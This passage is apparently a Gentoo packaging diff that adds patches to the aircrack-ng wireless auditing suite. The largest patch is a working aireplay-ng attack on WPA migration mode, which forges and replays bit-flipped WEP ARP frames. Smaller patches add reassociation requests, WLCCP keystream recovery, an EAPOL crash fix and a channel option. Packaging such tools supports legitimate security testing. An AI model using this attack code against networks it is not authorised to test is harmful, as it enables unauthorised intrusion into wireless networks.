+     "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"  \
+     "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
+ 
++#define REASSOC_REQ       \
++    "\x20\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"  \
++    "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00\x00\x00\x00\x00\x00\x00"
++
+ #define NULL_DATA       \
+     "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"  \
+     "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
+@@ -171,6 +175,7 @@
+ "      -e essid  : set target AP SSID\n"
+ "      -o npckts : number of packets per burst (0=auto, default: 1)\n"
+ "      -q sec    : seconds between keep-alives\n"
++"      -Q        : send reassociation requests\n"
+ "      -y prga   : keystream for shared key auth\n"
+ "      -T n      : exit after retry fake auth request n time\n"
+ "\n"
+@@ -213,6 +218,7 @@
+ "      --caffe-latte       : query a client for new IVs  (-6)\n"
+ "      --cfrag             : fragments against a client  (-7)\n"
+ "      --test              : tests injection and quality (-9)\n"
++"      --migmode           : attacks WPA migration mode  (-W)\n"
+ "\n"
+ "      --help              : Displays this usage screen\n"
+ "\n";
+@@ -269,6 +275,8 @@
+ 
+     int nodetect;
+     int rtc;
++
++    int reassoc;
+ }
+ opt;
+ 
+@@ -1760,16 +1768,25 @@
+ 
+             case 6:
+ 
+-                if( opt.a_delay == 0 )
++                if( opt.a_delay == 0 && opt.reassoc == 0 )
+                 {
+                     printf("\n");
+                     return( 0 );
+                 }
+ 
++                if( opt.a_delay == 0 && opt.reassoc == 1 )
++                {
++                    if(opt.npackets == -1) x_send = 4;
++                    state = 7;
++                    challengelen = 0;
++                    break;
++                }
++
+                 if( time( NULL ) - tt >= opt.a_delay )
+                 {
+                     if(opt.npackets == -1) x_send = 4;
+-                    state = 0;
++                    if( opt.reassoc == 1 ) state = 7;
++                    else state = 0;
+                     challengelen = 0;
+                     break;
+                 }
+@@ -1797,6 +1814,69 @@
+ 
+                 break;
+ 
++            case 7:
++
++                /* sending reassociation request */
++                
++                tries = 0;
++                state = 8;
++                if(opt.npackets == -1) x_send *= 2;
++                tt = time( NULL );
++
++                /* attempt to reassociate */
++
++                memcpy( h80211, REASSOC_REQ, 34 );
++                memcpy( h80211 +  4, opt.r_bssid, 6 );
++                memcpy( h80211 + 10, opt.r_smac , 6 );
++                memcpy( h80211 + 16, opt.r_bssid, 6 );
++
++                n = strlen( opt.r_essid );
++                if( n > 32 ) n = 32;
++
++                h80211[34] = 0x00;
++                h80211[35] = n;
++
++                memcpy( h80211 + 36, opt.r_essid,  n );
++                memcpy( h80211 + 36 + n, RATES, 16 );
++                memcpy( h80211 + 30, capa, 2);
++
++                PCT; printf( "Sending Reassociation Request" );
++                fflush( stdout );
++                gotack=0;
++
++                for( i = 0; i < x_send; i++ )
++                {
++                    if( send_packet( h80211, 52 + n ) < 0 )
++                        return( 1 );
++
++                    usleep(10);
++
++                    if( send_packet( ackbuf, 14 ) < 0 )
++                        return( 1 );
++                    usleep(10);
++
++                    if( send_packet( ackbuf, 14 ) < 0 )
++                        return( 1 );
++                }
++
++                break;
++
++            case 8:
++
++                /* waiting for a reassociation response */
++
++                if( time( NULL ) - tt >= 5 )
++                {
++                    if( x_send < 256 && (opt.npackets == -1) )
++                        x_send *= 4;
++
++                    state = 7;
++                    challengelen = 0;
++                    printf("\n");
++                }
++
++                break;
++
+             default: break;
+         }
+ 
+@@ -2042,6 +2122,60 @@
+ 
+                 state = 6;      /* assoc. done */
+             }
++
++            /* check if we got an reassociation response */
++
++            if( h80211[0] == 0x30 && state == 8 )
++            {
++                printf("\n");
++                state = 7; PCT;
++
++                if( caplen < 30 )
++                {
++                    printf( "Error: packet length < 30 bytes\n" );
++                    sleep( 3 );
++                    challengelen = 0;
++                    continue;
++                }
++
++                n = h80211[26] + ( h80211[27] << 8 );
++
++                if( n != 0 )
++                {
++                    switch( n )
++                    {
++                    case  1:
++                        printf( "Denied (code  1), is WPA in use ?\n" );
++                        break;
++
++                    case 10:
++                        printf( "Denied (code 10), open (no WEP) ?\n" );
++                        break;
++
++                    case 12:
++                        printf( "Denied (code 12), wrong ESSID or WPA ?\n" );
++                        break;
++
++                    default:
++                        printf( "Reassociation denied (code %d)\n", n );
++                        break;
++                    }
++
++                    sleep( 3 );
++                    challengelen = 0;
++                    continue;
++                }
++
++                aid=( ( (h80211[29] << 8) || (h80211[28]) ) & 0x3FFF);
++                printf( "Reassociation successful :-) (AID: %d)\n", aid );
++                deauth_wait = 3;
++                fflush( stdout );
++
++                tt = time( NULL );
++                tr = time( NULL );
++
++                state = 6;      /* reassoc. done */
++            }
+         }
+     }
+ 
+@@ -3024,6 +3158,423 @@
+     return( 0 );
+ }
+ 
++int do_attack_migmode( void )
++{
++    int nb_bad_pkt;
++    int arp_off1, arp_off2;
++    int i, n, caplen, nb_arp, z;
++    long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
++    uchar flip[4096];
++    uchar senderMAC[6];
++
++    time_t tc;
++    float f, ticks[3];
++    struct timeval tv;
++    struct timeval tv2;
++    struct tm *lt;
++
++    FILE *f_cap_out;
++    struct pcap_file_header pfh_out;
++    struct pcap_pkthdr pkh;
++    struct ARP_req * arp;
++
++    if ( opt.ringbuffer )
++        arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) );
++    else
++        arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) );
++
++    /* capture only WEP data to broadcast address */
++
++    opt.f_type    = 2;
++    opt.f_subtype = 0;
++    opt.f_iswep   = 1;
++    opt.f_fromds  = 1;
++
++    if(getnet(NULL, 1, 1) != 0)
++        return 1;
++
++    if( memcmp( opt.f_bssid, NULL_MAC, 6 ) == 0 )
++    {
++        printf( "Please specify a BSSID (-b).\n" );
++        return( 1 );
++    }
++    /* create and write the output pcap header */
++
++    gettimeofday( &tv, NULL );
++
++    pfh_out.magic         = TCPDUMP_MAGIC;
++    pfh_out.version_major = PCAP_VERSION_MAJOR;
++    pfh_out.version_minor = PCAP_VERSION_MINOR;
++    pfh_out.thiszone      = 0;
++    pfh_out.sigfigs       = 0;
++    pfh_out.snaplen       = 65535;
++    pfh_out.linktype      = LINKTYPE_IEEE802_11;
++
++    lt = localtime( (const time_t *) &tv.tv_sec );
++
++    memset( strbuf, 0, sizeof( strbuf ) );
++    snprintf( strbuf,  sizeof( strbuf ) - 1,
++              "replay_arp-%02d%02d-%02d%02d%02d.cap",
++              lt->tm_mon + 1, lt->tm_mday,
++              lt->tm_hour, lt->tm_min, lt->tm_sec );
++
++    printf( "Saving ARP requests in %s\n", strbuf );
++
++    if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
++    {
++        perror( "fopen failed" );
++        return( 1 );
++    }
++
++    n = sizeof( struct pcap_file_header );
++
++    if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
++    {
++        perror( "fwrite failed\n" );
++        return( 1 );
++    }
++
++    fflush( f_cap_out );
++
++    printf( "You should also start airodump-ng to capture replies.\n" );
++    printf( "Remember to filter the capture to only keep WEP frames: ");
++    printf( " \"tshark -R 'wlan.wep.iv' -r capture.cap -w outcapture.cap\"\n");
++    //printf( "Remember to filter the capture to keep only broadcast From-DS frames.\n");
++
++    if(opt.port_in <= 0)
++    {
++        /* avoid blocking on reading the socket */
++        if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 )
++        {
++            perror( "fcntl(O_NONBLOCK) failed" );
++            return( 1 );
++        }
++    }
++
++    memset( ticks, 0, sizeof( ticks ) );
++
++    tc = time( NULL ) - 11;
++
++    nb_pkt_read = 0;
++    nb_bad_pkt  = 0;
++    nb_ack_pkt  = 0;
++    nb_arp      = 0;
++    nb_arp_tot  = 0;
++    arp_off1    = 0;
++    arp_off2    = 0;
++
++    while( 1 )
++    {
++        /* sleep until the next clock tick */
++
++        if( dev.fd_rtc >= 0 )
++        {
++            if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
++            {
++                perror( "read(/dev/rtc) failed" );
++                return( 1 );
++            }
++
++            ticks[0]++;
++            ticks[1]++;
++            ticks[2]++;
++        }
++        else
++        {
++            gettimeofday( &tv,  NULL );
++            usleep( 1000000/RTC_RESOLUTION );
++            gettimeofday( &tv2, NULL );
++
++            f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
++                        + (float) ( tv2.tv_usec - tv.tv_usec );
++
++            ticks[0] += f / ( 1000000/RTC_RESOLUTION );
++            ticks[1] += f / ( 1000000/RTC_RESOLUTION );
++            ticks[2] += f / ( 1000000/RTC_RESOLUTION );
++        }
++
++        if( ticks[1] > (RTC_RESOLUTION/10) )
++        {
++            ticks[1] = 0;
++            printf( "\rRead %ld packets (%ld ARPs, %ld ACKs), "
++                    "sent %ld packets...(%d pps)\r",
++                    nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) );
++            fflush( stdout );
++        }
++
++        if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 )
++        {
++            /* threshold reach, send one frame */
++
++            ticks[2] = 0;
++
++            if( nb_arp > 0 )
++            {
++                if( nb_pkt_sent == 0 )
++                    ticks[0] = 0;
++
++                if( send_packet( arp[arp_off1].buf,
++                                 arp[arp_off1].len ) < 0 )
++                    return( 1 );
++
++                if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent  )
++                {
++                    if( send_packet( arp[arp_off1].buf,
++                                    arp[arp_off1].len ) < 0 )
++                        return( 1 );
++                }
++
++                if( ++arp_off1 >= nb_arp )
++                    arp_off1 = 0;
++            }
++        }
++
++        /* read a frame, and check if it's an ARP request */
++
++        if( opt.s_file == NULL )
++        {
++            gettimeofday( &tv, NULL );
++
++            caplen = read_packet( h80211, sizeof( h80211 ), NULL );
++
++            if( caplen  < 0 ) return( 1 );
++            if( caplen == 0 ) continue;
++        }
++        else
++        {
++            n = sizeof( pkh );
++
++            if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
++            {
++                opt.s_file = NULL;
++                continue;
++            }
++
++            if( dev.pfh_in.magic == TCPDUMP_CIGAM )
++                SWAP32( pkh.caplen );
++
++            tv.tv_sec  = pkh.tv_sec;
++            tv.tv_usec = pkh.tv_usec;
++
++            n = caplen = pkh.caplen;
++
++            if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) )
++            {
++                printf( "\r\33[KInvalid packet length %d.\n", n );
++                opt.s_file = NULL;
++                continue;
++            }
++
++            if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
++            {
++                opt.s_file = NULL;
++                continue;
++            }
++
++            if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
++            {
++                /* remove the prism header */
++
++                if( h80211[7] == 0x40 )
++                    n = 64;
++                else
++                    n = *(int *)( h80211 + 4 );
++
++                if( n < 8 || n >= (int) caplen )
++                    continue;
++
++                memcpy( tmpbuf, h80211, caplen );
++                caplen -= n;
++                memcpy( h80211, tmpbuf + n, caplen );
++            }
++
++            if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR )
++            {
++                /* remove the radiotap header */
++
++                n = *(unsigned short *)( h80211 + 2 );
++
++                if( n <= 0 || n >= (int) caplen )
++                    continue;
++
++                memcpy( tmpbuf, h80211, caplen );
++                caplen -= n;
++                memcpy( h80211, tmpbuf + n, caplen );
++            }
++
++            if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR )
++            {
++                /* remove the PPI header */
++
++                n = le16_to_cpu(*(unsigned short *)( h80211 + 2));
++
++                if( n <= 0 || n>= (int) caplen )
++                    continue;
++
++                /* for a while Kismet logged broken PPI headers */
++                if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
++                    n = 32;
++
++                if( n <= 0 || n>= (int) caplen )
++                    continue;
++
++                memcpy( tmpbuf, h80211, caplen );
++                caplen -= n;
++                memcpy( h80211, tmpbuf + n, caplen );
++            }
++        }
++
++        nb_pkt_read++;
++
++        /* check if it's a disas. or deauth packet */
++
++        if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) &&
++            ! memcmp( h80211 + 4, opt.r_smac, 6 ) )
++        {
++            nb_bad_pkt++;
++
++            if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 )
++            {
++                printf( "\33[KNotice: got a deauth/disassoc packet. Is the "
++                        "source MAC associated ?\n" );
++
++                tc = time( NULL );
++                nb_bad_pkt = 0;
++            }
++        }
++
++        if( h80211[0] == 0xD4 &&
++            ! memcmp( h80211 + 4, opt.f_bssid, 6 ) )
++        {
++            nb_ack_pkt++;
++        }
++
++        /* check if it's a potential ARP request */
++
++        opt.f_minlen = opt.f_maxlen = 68;
++
++        if( filter_packet( h80211, caplen ) == 0 )
++            goto add_arp;
++
++        opt.f_minlen = opt.f_maxlen = 86;
++
++        if( filter_packet( h80211, caplen ) == 0 )
++        {
++add_arp:
++            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
++            if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
++                z+=2;
++
++            switch( h80211[1] & 3 )
++            {
++                case  2: /* FromDS */
++                {
++                    if(memcmp(h80211 + 4, BROADCAST, 6) == 0)
++                    {
++                        /* backup sender MAC */
++
++                        memset( senderMAC, 0, 6 );
++                        memcpy( senderMAC, h80211 + 16, 6 );
++
++                        /* rewrite to a ToDS packet */
++
++                        memcpy( h80211 + 4, opt.f_bssid,  6 );
++                        memcpy( h80211 + 10, opt.r_smac,  6 );
++                        memcpy( h80211 + 16, BROADCAST, 6 );
++
++                        h80211[1] = 0x41;   /* ToDS & WEP  */
++                    }
++                    else
++                    {
++                        nb_arp_tot++;
++                        continue;
++                    }
++
++                    break;
++                }
++                default:
++                    continue;
++            }
++
++//             h80211[0] = 0x08;   /* normal data */
++
++            /* if same IV, perhaps our own packet, skip it */
++
++            for( i = 0; i < nb_arp; i++ )
++            {
++                if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 )
++                    break;
++            }
++
++            if( i < nb_arp )
++                continue;
++
++            if( caplen > 128)
++                continue;
++            /* add the ARP request in the ring buffer */
++
++            nb_arp_tot++;
++
++            /* Ring buffer size: by default: 8 ) */
++
++            if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
++                continue;
++            else {
++
++                if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) {
++                    perror( "malloc failed" );
++                    return( 1 );
++                }
++
++                memset(flip, 0, 4096);
++
++                /* flip the sender MAC to convert it into the source MAC  */
++                flip[16] ^= (opt.r_smac[0] ^ senderMAC[0]);
++                flip[17] ^= (opt.r_smac[1] ^ senderMAC[1]);
++                flip[18] ^= (opt.r_smac[2] ^ senderMAC[2]);
++                flip[19] ^= (opt.r_smac[3] ^ senderMAC[3]);
++                flip[20] ^= (opt.r_smac[4] ^ senderMAC[4]);
++                flip[21] ^= (opt.r_smac[5] ^ senderMAC[5]);
++                flip[25] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP
++ 		
++                add_crc32_plain(flip, caplen-z-4-4);
++                for(i=0; i<caplen-z-4; i++) 
++                {
++                    (h80211+z+4)[i] ^= flip[i];
++                }
++ 
++                memcpy( arp[nb_arp].buf, h80211, caplen );
++                arp[nb_arp].len = caplen;
++                arp[nb_arp].hdrlen = z;
++                nb_arp++;
++
++                pkh.tv_sec  = tv.tv_sec;
++                pkh.tv_usec = tv.tv_usec;
++                pkh.caplen  = caplen;
++                pkh.len     = caplen;
++
++                n = sizeof( pkh );
++
++                if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) {
++                    perror( "fwrite failed" );
++                    return( 1 );
++                }
++
++                n = pkh.caplen;
++
++                if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) {
++                    perror( "fwrite failed" );
++                    return( 1 );
++                }
++
++                fflush( f_cap_out );
++            }
++        }
++    }
++
++    return( 0 );
++}
++
+ int set_clear_arp(uchar *buf, uchar *smac, uchar *dmac) //set first 22 bytes
+ {
+     if(buf == NULL)
+@@ -5731,6 +6282,7 @@
+     opt.fast      =  0; opt.r_smac_set  =  0;
+     opt.npackets  =  1; opt.nodetect    =  0;
+     opt.rtc       =  1; opt.f_retry	=  0;
++    opt.reassoc   =  0;
+ 
+ /* XXX */
+ #if 0
+@@ -5765,11 +6317,12 @@
+             {"help",        0, 0, 'H'},
+             {"fast",        0, 0, 'F'},
+             {"bittest",     0, 0, 'B'},
++            {"migmode",     0, 0, 'W'},
+             {0,             0, 0,  0 }
+         };
+ 
+         int option = getopt_long( argc, argv,
+-                        "b:d:s:m:n:u:v:t:T:f:g:w:x:p:a:c:h:e:ji:r:k:l:y:o:q:0:1:2345679HFBDR",
++                        "b:d:s:m:n:u:v:t:T:f:g:w:x:p:a:c:h:e:ji:r:k:l:y:o:q:Q0:1:2345679HFBDRW",
+                         long_options, &option_index );
+ 
+         if( option < 0 ) break;
+@@ -5939,6 +6492,11 @@
+                 }
+                 break;
+ 
++            case 'Q' :
++
++                opt.reassoc = 1;
++                break;
++
+             case 'p' :
+ 
+                 ret = sscanf( optarg, "%x", &opt.r_fctrl );
+@@ -6188,6 +6746,17 @@
+                 opt.a_mode = 9;
+                 break;
+ 
++            case 'W' :
++
++                if( opt.a_mode != -1 )
++                {
++                    printf( "Attack mode already specified.\n" );
++                    printf("\"%s --help\" for help.\n", argv[0]);
++                    return( 1 );
++                }
++                opt.a_mode = 10;
++                break;
++
+             case 'F' :
+ 
+                 opt.fast = 1;
+@@ -6426,6 +6995,7 @@
+         case 6 : return( do_attack_caffe_latte() );
+         case 7 : return( do_attack_cfrag()       );
+         case 9 : return( do_attack_test()        );
++        case 10: return( do_attack_migmode()     );
+         default: break;
+     }
+ 
+diff -ru /tmp/aircrack-ng-1.1/src/crypto.c ./crypto.c
+--- /tmp/aircrack-ng-1.1/src/crypto.c	2009-05-02 20:43:51.000000000 -0300
++++ ./crypto.c	2010-07-07 17:07:51.000000000 -0300
+@@ -438,6 +438,18 @@
+         return 0;
+ }
+ 
++int is_wlccp(void *wh, int len)
++{
++	int wlccpsize = 58;
++
++        if(wh) {}
++
++        if (len == wlccpsize)
++            return 1;
++
++        return 0;
++}
++
+ int is_qos_arp_tkip(void *wh, int len)
+ {
+         unsigned char *packet = (unsigned char*) wh;
+@@ -515,6 +527,29 @@
+             return 1;
+ 
+         }
++        else if(is_wlccp(wh, len)) /*wlccp*/
++        {
++            len = sizeof(S_LLC_SNAP_WLCCP) - 1;
++            memcpy(ptr, S_LLC_SNAP_WLCCP, len);
++            ptr += len;
++
++            /* wlccp hdr */
++            len = 4;
++            memcpy(ptr, "\x00\x32\x40\x01", len);
++            ptr += len;
++
++            /* dst mac */
++            len = 6;
++            memcpy(ptr, get_da(wh), len);
++            ptr += len;
++
++            len = ptr - ((unsigned char*)clear);
++            *clen = len;
++	    if (weight)
++                weight[0] = 256;
++            return 1;
++
++        }
+         else if(is_spantree(wh)) /*spantree*/
+         {
+             len = sizeof(S_LLC_SNAP_SPANTREE) - 1;
+diff -ru /tmp/aircrack-ng-1.1/src/crypto.h ./crypto.h
+--- /tmp/aircrack-ng-1.1/src/crypto.h	2009-03-02 10:11:46.000000000 -0200
++++ ./crypto.h	2010-07-07 16:55:30.000000000 -0300
+@@ -17,6 +17,7 @@
+ 
+ #define S_LLC_SNAP      "\xAA\xAA\x03\x00\x00\x00"
+ #define S_LLC_SNAP_ARP  (S_LLC_SNAP "\x08\x06")
++#define S_LLC_SNAP_WLCCP      "\xAA\xAA\x03\x00\x40\x96\x00\x00"
+ #define S_LLC_SNAP_IP   (S_LLC_SNAP "\x08\x00")
+ #define S_LLC_SNAP_SPANTREE   "\x42\x42\x03\x00\x00\x00\x00\x00"
+ #define S_LLC_SNAP_CDP  "\xAA\xAA\x03\x00\x00\x0C\x20"
diff --git a/net-wireless/aircrack-ng/files/eapol_fix.patch b/net-wireless/aircrack-ng/files/eapol_fix.patch
new file mode 100644
index 000000000000..38490b8275b3
--- /dev/null
+++ b/net-wireless/aircrack-ng/files/eapol_fix.patch
@@ -0,0 +1,20 @@
+--- src/airodump-ng.c
++++ src/airodump-ng.c
+@@ -2126,7 +2126,7 @@
+                     st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 )
+                             +   h80211[z + 3] + 4;
+ 
+-                    if ((int)pkh.len - z < st_cur->wpa.eapol_size  || st_cur->wpa.eapol_size == 0)
++                    if (caplen - z < st_cur->wpa.eapol_size  || st_cur->wpa.eapol_size == 0 || caplen - z < 81 + 16 || st_cur->wpa.eapol_size > 256)
+ 					{
+ 						// Ignore the packet trying to crash us.
+                     	goto write_packet;
+@@ -2158,7 +2158,7 @@
+                     st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 )
+                             +   h80211[z + 3] + 4;
+ 
+-                    if ((int)pkh.len - z < st_cur->wpa.eapol_size  || st_cur->wpa.eapol_size == 0)
++		    if (caplen - z < st_cur->wpa.eapol_size  || st_cur->wpa.eapol_size == 0 || caplen - z < 81 + 16 || st_cur->wpa.eapol_size > 256)
+ 					{
+ 						// Ignore the packet trying to crash us.
+                     	goto write_packet;
diff --git a/net-wireless/aircrack-ng/files/ignore-channel-1-error.patch b/net-wireless/aircrack-ng/files/ignore-channel-1-error.patch
new file mode 100644
index 000000000000..6189af13fa30
--- /dev/null
+++ b/net-wireless/aircrack-ng/files/ignore-channel-1-error.patch
@@ -0,0 +1,65 @@
+Adapted for version 1.1 by Zero_Chaos based on original
+
+From: Paul Fertser <fercerpav@gmail.com>
+Date: Wed, 12 Jan 2011 00:27:07 +0300
+Subject: [PATCH] aireplay-ng: add an option to ignore channel -1 error
+
+Allow the user to ignore the channel match check when the host kernel is
+not providing channel for the used interface. Required with unpatched
+cfg80211 kernels.
+
+Signed-off-by: Paul Fertser <fercerpav@gmail.com>
+
+diff -Naur aircrack-ng-1.1-orig/src/aireplay-ng.c aircrack-ng-1.1/src/aireplay-ng.c
+--- aircrack-ng-1.1-orig/src/aireplay-ng.c	2011-01-11 19:45:09.000000000 -0500
++++ aircrack-ng-1.1/src/aireplay-ng.c	2011-01-11 19:44:34.000000000 -0500
+@@ -205,7 +205,9 @@
+ "\n"
+ "  Miscellaneous options:\n"
+ "\n"
+-"      -R        : disable /dev/rtc usage\n"
++"      -R                     : disable /dev/rtc usage\n"
++"      --ignore-negative-one  : if the interface's channel can't be determined,\n"
++"                               ignore the mismatch, needed for unpatched cfg80211\n"
+ "\n"
+ "  Attack modes (numbers can still be used):\n"
+ "\n"
+@@ -274,6 +276,7 @@
+     int bittest;
+ 
+     int nodetect;
++    int ignore_negative_one;
+     int rtc;
+ 
+     int reassoc;
+@@ -723,6 +726,13 @@
+ 
+     iface_chan = wi_get_channel(wi);
+ 
++    if(iface_chan == -1 && !opt.ignore_negative_one)
++    {
++        PCT; printf("Couldn't determine current channel for %s, you should either force the operation with --ignore-negative-one or apply a kernel patch\n",
++                wi_get_ifname(wi));
++        return -1;
++    }
++
+     if(bssid != NULL)
+     {
+         ap_chan = wait_for_beacon(bssid, capa, essid);
+@@ -731,7 +741,7 @@
+             PCT; printf("No such BSSID available.\n");
+             return -1;
+         }
+-        if(ap_chan != iface_chan)
++        if((ap_chan != iface_chan) && (iface_chan != -1 || !opt.ignore_negative_one))
+         {
+             PCT; printf("%s is on channel %d, but the AP uses channel %d\n", wi_get_ifname(wi), iface_chan, ap_chan);
+             return -1;
+@@ -6318,6 +6328,7 @@
+             {"fast",        0, 0, 'F'},
+             {"bittest",     0, 0, 'B'},
+             {"migmode",     0, 0, 'W'},
++            {"ignore-negative-one", 0, &opt.ignore_negative_one, 1},
+             {0,             0, 0,  0 }
+         };
+ 
diff --git a/net-wireless/aircrack-ng/metadata.xml b/net-wireless/aircrack-ng/metadata.xml
index ae080cfcadda..d5f6f968d499 100644
--- a/net-wireless/aircrack-ng/metadata.xml
+++ b/net-wireless/aircrack-ng/metadata.xml
@@ -13,4 +13,10 @@
 	aircrack-ng is the next generation of aircrack with lots of new features.
 	(from http://www.aircrack-ng.org)
 </longdescription>
+<use>
+	<flag name="airdrop-ng">Build airdrop-ng</flag>
+	<flag name="airgraph-ng">Build airgraph-ng</flag>
+	<flag name="netlink">Use netlink for channel control instead of WEXT</flag>
+	<flag name="unstable">Build the "unstable" tools which may randomly fail to run properly</flag>
+</use>
 </pkgmetadata>